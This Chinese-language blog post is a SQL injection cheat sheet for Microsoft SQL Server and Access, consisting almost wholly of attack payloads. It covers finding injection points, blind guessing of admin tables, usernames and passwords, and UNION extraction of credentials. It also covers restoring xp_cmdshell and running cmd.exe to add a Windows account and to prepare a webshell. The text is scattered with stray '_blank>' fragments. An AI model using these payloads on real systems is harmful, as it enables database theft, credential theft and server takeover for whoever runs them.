1.判斷有無注入點?
; and 1=1 and 1=2
2.猜表一般的表的名稱無非是admin adminuser user pass password 等..?
and 0<>(select count(*) from *)?
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
3.猜帳號數目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個?
and 0<(select count(*) from admin)?
and 1<(select count(*) from admin)
4.猜解字段名稱 在len( ) 括號里面加上我們想到的字段名稱.?
and 1=(select count(*) from admin where len(*)>0)--?
and 1=(select count(*) from admin where len(用戶字段名稱name)>0)?
and 1=(select count(*) from admin where len(_blank>密碼字段名稱password)>0)
5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止?
and 1=(select count(*) from admin where len(*)>0)?
and 1=(select count(*) from admin where len(name)>6) 錯誤?
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6?
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確?
and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12?
and 1=(select count(*) from admin where len(password)=12) 正確
6.猜解字符?
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位?
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位?
就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了?
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --?
這個查詢語句可以猜解中文的用戶和_blank>密碼.只要把后面的數字換成中文的ASSIC碼就OK.最后把結果再轉換成字符.
group by users.id having 1=1--?
group by users.id, users.username, users.password, users.privs having 1=1--?
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable-?
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank
>_id)-?
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank
>_id,login_blank>_name)-?
UNION SELECT TOP 1 login_blank>_name FROM logintable-?
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
看_blank>服務器打的補丁=出錯了打了SP4補丁?
and 1=(select @@VERSION)--
看_blank>數據庫連接賬號的權限,返回正常,證明是_blank>服務器角色sysadmin權限。?
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
判斷連接_blank>數據庫帳號。(采用SA賬號連接 返回正常=證明了連接賬號是SA)?
and sa=(SELECT System_blank>_user)--?
and user_blank>_name()=dbo--?
and 0<>(select user_blank>_name()--
看xp_blank>_cmdshell是否刪除?
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_
blank>_cmdshell)--
xp_blank>_cmdshell被刪除,恢復,支持絕對路徑的恢復?
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--?
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\
xplog70.dll--
反向PING自己實驗?
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>
_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帳號?
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>
_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$Content$nbsp;1866574 /add--
創建一個虛擬目錄E盤:?
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o,
run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認Web站點" -v "e","e:\"--
訪問屬性:(配合寫入一個webshell)?
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o,
run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
?
爆庫 特殊_blank>技巧::%5c=\ 或者
?
您正在看的SQLserver教程是:sql注入語句。把/和\ 修改%5提交?
and 0<>(select top 1 paths from newtable)--
得到庫名(從1到5都是系統的id,6以上才可以判斷)?
and 1=(select name from master.dbo.sysdatabases where dbid=7)--?
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)?
依次提交 dbid = 7,8,9.... 得到更多的_blank>數據庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設為 admin?
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin))
來得到其他的表。?
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin?
and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id?
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個
字段,假設為 user_blank>_id?
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in?
(id,...)) 來暴出其他的字段?
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用戶名?
依次可以得到_blank>密碼。。。。。假設存在user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)?
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名?
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))?
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(s
tr(id))) 判斷id值?
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin?
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
